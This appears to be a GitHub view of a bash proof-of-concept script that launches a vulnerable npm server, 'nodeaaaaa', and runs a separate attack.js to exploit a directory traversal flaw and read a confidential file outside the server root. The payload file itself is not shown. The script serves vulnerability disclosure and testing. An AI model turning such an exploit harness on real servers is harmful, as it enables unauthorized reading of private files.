-
Notifications
You must be signed in to change notification settings - Fork 12
/
PoC.sh
executable file
·34 lines (26 loc) · 859 Bytes
/
PoC.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/bash
# author: Liang Gong
if [ "$(uname)" == "Darwin" ]; then
# under Mac OS X platform
NODE='node'
elif [ "$(expr substr $(uname -s) 1 5)" == "Linux" ]; then
# under GNU/Linux platform
NODE='nodejs'
fi
cd directory-traversal/nodeaaaaa
RED='\033[0;31m'
BLUE='\033[0;34m'
GREEN='\033[0;32m'
NC='\033[0m' # No Color
# start the server
echo -e "\t[${GREEN}start vulnerable server${NC}]: ${BLUE}nodeaaaaa${NC}"
$NODE test.js >/dev/null 2>&1 &
vulnpid=$!
# wait for the server to get started
sleep 1.5s
echo -e "\t[${GREEN}server root directory${NC}]: `pwd`"
# utilize directory traversal to get files outside the working directory
# trigger directory traversal issues: send a request to retrieve the confidential file outside the working directory
$NODE attack.js
# kill the vulnerable npm package's process
kill -9 $vulnpid